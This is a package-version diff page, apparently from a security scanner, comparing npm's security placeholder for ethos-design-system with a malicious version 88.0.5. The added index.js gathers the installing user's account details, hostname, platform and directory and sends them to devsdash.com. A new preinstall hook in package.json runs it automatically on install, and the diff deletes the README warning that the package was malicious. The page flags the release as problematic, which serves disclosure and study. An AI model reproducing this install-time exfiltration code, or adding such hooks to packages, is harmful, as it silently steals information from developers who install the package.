ethos-design-system 0.0.1-security → 88.0.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ethos-design-system might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +19 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ var os = require("os");
2
+ var path = require("path");
3
+ var user = os.userInfo();
4
+ var host = os.hostname();
5
+ var platform = os.platform();
6
+ var dirpath = path.dirname(__filename);
7
+
8
+ var data = JSON.stringify({ user, host, platform, dirpath });
9
+
10
+ const https = require("https");
11
+ const options = {
12
+ hostname: "devsdash.com",
13
+ port: 443,
14
+ path: "/catch.php?new_data123=" + data,
15
+ method: "GET",
16
+ };
17
+
18
+ const req = https.request(options);
19
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "ethos-design-system",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "88.0.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ethos-design-system for more information.